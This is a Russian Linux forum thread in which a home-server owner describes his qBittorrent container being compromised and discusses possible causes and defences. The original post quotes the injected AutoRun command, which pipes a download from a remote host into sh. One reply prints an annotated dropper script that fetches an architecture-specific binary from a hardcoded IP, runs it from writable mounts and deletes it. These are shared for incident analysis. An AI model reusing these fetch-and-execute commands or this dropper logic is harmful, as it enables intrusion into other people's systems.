LINUX.ORG.RU

Мой LXC ломанули 0_о

 ,


1

5

Всем привет!

Внутри сервера Proxmox был LXC для qBittorrent, через который качал всякое. Внезапно обнаружил, что в файле: /root/.config/qBittorrent/qBittorrent.conf:

  [AutoRun]
  OnTorrentAdded\Enabled=true
  OnTorrentAdded\Program=sh -c "(curl -s http://0x1x2x3.top || wget -qO - http://0x1x2x3.top) | sh"
  enabled=true
  program="sh -c \"echo <base64> | base64 -d | sh\""

Кто-то прописал в «выполнить при добавлении торрента» скрипт, который скачивает и запускает шелл с http://0x1x2x3.top. Хз может какой-то криптомайнер.

Проблема в том, что mount point был смонтирован к пулу с моими файлами. Могла ли эта гадость дальше пролезть и что можно сделать кроме проверки ClamAV?

ЧТО В ИТОГЕ:

  1. Поставил на входе на NGINX ограничение по GEOIP
  2. Убил инфицированный контейнер
  3. Проверил mount point через ClamAV, новых файлов не нашел
  4. Стал использовать CrowdSec
  5. Думаю над VPN для внутренних сервисов
★★★★

Последнее исправление: AntonyRF (всего исправлений: 1)
Ответ на: комментарий от anonymous
  1. После установки висело где-то день с дефолтными логопасами, пока все настраивал, возможно, что просканировали поддомен и как-то через qBittorrent это сделали

  2. ssh bruteforce

  3. Proxmox community script для установки qBittorrent уже содержал малварь, а я заметил только когда перетаскивал конфиг на Ansible

Ну и хз как оно еще могло попасть. Притом сервис наверное около года висел после установки. Я даже не замечал какие-то проблем

AntonyRF ★★★★
() автор топика
Ответ на: комментарий от kostik87

Я, наверное, не очень правильно описал вариант 1. Там не ssh в LXC с дефолтными логопаса, a qBittorent был с дефолтными логопасами, но как они добавили команду - я хз. Может быть там есть настроки прям в веб морде

AntonyRF ★★★★
() автор топика
Ответ на: комментарий от frunobulax

Чтобы иметь возможность подключиться к ней с любого места. Хотя я чот слышал что сейчас Tailscale (или как оно там называется) часто используют чтобы не светить наружу

Но сервак домашний, казалось бы кому он интересен!?

AntonyRF ★★★★
() автор топика
Ответ на: комментарий от AntonyRF

Но сервак домашний, казалось бы кому он интересен!?

Боту пофиг что сканировать, адресацию колокейшна или домашние IP, что за неимоверно странный вопрос?

Кроме того, у тебя, наверное, LE туда сделан. Боты парсят новые домены в LE и сразу же после выпуска начинают сканировать свежий домен на предмет портов и опубликованных приложений.

Dimez ★★★★★
()
Последнее исправление: Dimez (всего исправлений: 1)
Ответ на: комментарий от AntonyRF

Может быть там есть настроки прям в веб морде

Там есть настройки прямо в веб-морде.

Aceler ★★★★★
()
Ответ на: комментарий от AntonyRF

Но сервак домашний

Чтобы иметь возможность подключиться к ней с любого места.

Могу ошибаться, но вроде как раз для подобного впн придумали :)

frunobulax ★★★★
()

если хочется выставить наружу торрентокачалку со слабым паролем, самбу, http прокси и прочие «блага цивилизации» и «удобства» - для этого собственно и существует VPN, это изначально задумывалось как раз для этого.


PS: глядя на предыдущий комментарий оставленый в течении минуты.. дуплетом, да.

Sylvia ★★★★★
()
Последнее исправление: Sylvia (всего исправлений: 1)

Сорян за иишницу:

# 1. Определяем архитектуру процессора
__a=$(uname -m)

# 2. Сбрасываем переменные окружения, которые могут помешать выполнению (библиотеки)
unset ld_preload 2>/dev/null
unset ld_library_path 2>/dev/null

# 3. Выбираем URL в зависимости от архитектуры (x86_64, aarch64 или amd64)
[ "$__a" = "x86_64" ]  && __u="http://172.245.159.216/1"
[ "$__a" = "aarch64" ] && __u="http://172.245.159.216/2"
[ "$__a" = "amd64" ]   && __u="http://172.245.159.216/3"

# 4. Генерируем случайное имя файла из 8 символов
__p=$(mktemp -u xxxxxxxx 2>/dev/null | tr -cd 'a-za-z0-9' | cut -c1-8)
[ -n "$__p" ] || __p=$(printf '%08d' "$$" | cut -c1-8)

# 5. Функция для скачивания файла (__d)
# Пробует по очереди: curl, wget, python3, perl (через модуль или напрямую через сокеты)
__d() {
    local ___ur="$1" __hp __h __p __pa
    __hp=$(printf '%s' "$___ur" | sed -e 's|^https?://||;s|/.*||')
    __p=$(printf '%s' "$__hp" | grep -o ':[0-9]*' | tr -d ':')
    __h=$(printf '%s' "$__hp" | sed 's|:.*||')
    __pa=/$(printf '%s' "$___ur" | sed -e 's|https?://[^/]*/?||')
    
    [ -z "$__h" ] && return 1
    
    command -v curl >/dev/null 2>&1 && curl -sso - "$___ur" && return 0
    command -v wget >/dev/null 2>&1 && wget -qo - "$___ur" && return 0
    command -v python3 >/dev/null 2>&1 && python3 -c "..." && return 0
    # ... (далее попытки через perl)
}

# 6. Поиск подходящей директории для записи (где есть права на запись)
# Проверяет /tmp, домашнюю директорию и все точки монтирования
__wd=$(_seen=""; for _m in /tmp ${HOME} ${PWD} $(mount | awk '{print $3}'); do
    # Проверка на дубликаты и возможность записи (touch/rm)
    # ...
    printf '%s ' "$_m"
done)
[ -n "$__wd" ] || __wd=/tmp

# 7. Основной цикл: скачивание, запуск и удаление
for i in $__wd; do
    (__d $__u > $i/$__p) 2>/dev/null && [ -s $i/$__p ] && {
        cd $i
        chmod +x $__p      # Делает файл исполняемым
        ./$__p             # Запускает
        wait $!            # Ждет завершения (или запуска в фоне)
        rm -rf $i/$__p     # Сразу удаляет файл с диска
    } >/dev/null 2>&1
    
    # Проверяет, запущен ли уже процесс, чтобы не дублировать
    grep -qe '^\./[a-za-z0-9]{8}$' /proc/[0-9]*/cmdline 2>/dev/null && break
done
Dimez ★★★★★
()
Ответ на: комментарий от aol

А пакеж echo | base64 -d? Там, наверняка, обратный шелл, на котором тебя вертели во всех позах.

root@pve:~# echo | base64 -d -bash: синтаксическая ошибка рядом с неожиданным маркером «|»

AntonyRF ★★★★
() автор топика
Ответ на: комментарий от Dimez

Можешь описать, как ты себе это представляешь в этом случае? Интересно.

У меня нет опыта в этом и я не понимаю как можно выполнить код через запись в файл в его случае (как в файл записали код, тоже не понимаю).

anonymous
()
Ответ на: комментарий от anonymous

Пробежал бот, засабмитил в какой-нибудь shodan. И это не запись в файл, это демон с веб-мордой (куда и прописали строчки) висел наружу с дефолтными кредами.

Dimez ★★★★★
()
Ответ на: комментарий от AntonyRF

Ну, ты дурачка-то не валяй, а?! Сам же в ОП заменил реальную строку на <base64>, а тут шлангуешь сделать обратное преобразование…

aol ★★★★★
()
Ответ на: комментарий от AntonyRF

qBittorent был с дефолтными логопасами

У него же там по умолчанию что-то нетривиальное должно быть

NyXzOr ★★★★★
()
Ответ на: комментарий от NyXzOr

Это они придумали qbittorrent от рута запускать?

Да, но это внутри LXC root, но таки контейнер создается как unprivileged. Чот сомневаюсь, что внутри контейнеров кто-то морочиться с пользователями

У него же там по умолчанию что-то нетривиальное должно быть

Что?

Install Profiles Port :8090 User admin Pass changeme

Вот ссыль - https://community-scripts.org/scripts/qbittorrent?id=qbittorrent#details

AntonyRF ★★★★
() автор топика
Ответ на: комментарий от AntonyRF

кто-то морочиться с пользователями

я

Вот что я вижу, когда запускаю qbittorrent-nox в lxc от нового пользователя:

nyx@NASctDeb ~> qbittorrent-nox 

*** Официальное уведомление ***
qBittorrent — это программа для обмена файлами. При работе торрента его данные становятся доступны другим пользователям посредством раздачи. Вы несёте персональную ответственность за все данные, которыми делитесь.

Никаких дальнейших уведомлений выводиться не будет.

Нажмите кнопку «Enter» для продолжения…
Веб-интерфейс скоро запустится после внутренней подготовки. Пожалуйста, подождите…

******** Информация ********
Войдите в веб-интерфейс для управления qBittorrent: http://localhost:8080
Имя администратора веб-интерфейса: admin
Пароль администратора веб-интерфейса не был установлен. Для этого сеанса предоставлен временный пароль: uv9uzwQqp
Вы должны задать свой собственный пароль в настройках программы.

uv9uzwQqp - не changeme

Вот ссыль

Скажи им спасибо, что такой пароль ставят

NyXzOr ★★★★★
()
Последнее исправление: NyXzOr (всего исправлений: 3)
Ответ на: комментарий от NyXzOr

временный пароль

Количество символов всегда 9, так что тоже можно побрутфорсить

NyXzOr ★★★★★
()
Ответ на: комментарий от NyXzOr

Хз, уже не помню, он у меня около года работал, помню пароль под себя менял и менял не сразу. Если они все же выдают генерируемый пароль для входа в веб-морду, тогда вопросов еще больше как смогли пропихнуть эту штуку =(

AntonyRF ★★★★
() автор топика
Ответ на: комментарий от AntonyRF

У меня только один lxc от них - heimdall. Так что я и не утверждаю, что они этот пароль в кубит не поставили.

NyXzOr ★★★★★
()

Думаю над VPN для внутренних сервисов

даже не думай, лол. Заблочат. Или поставят ограничение в 16 килобайт. «16 килобайт хватит всем» (с) РКН

Lrrr ★★★★★
()
Ответ на: комментарий от Lrrr

Вот тут как бы два стула, с одной стороны VPN снимает головную боль со всякими сканерами и доступом третьих лиц. С другой стороны доступ и у меня может отвалиться. А я часто бываю в тысячах километрах от сервера и просто так туда не залезть =(

AntonyRF ★★★★
() автор топика
  • Markdown
Пустая строка (два раза Enter) начинает новый абзац. Знак '>' в начале абзаца выделяет абзац курсивом цитирования.
Внимание: прочитайте описание разметки Markdown.
Используйте Ctrl-Enter для размещения комментария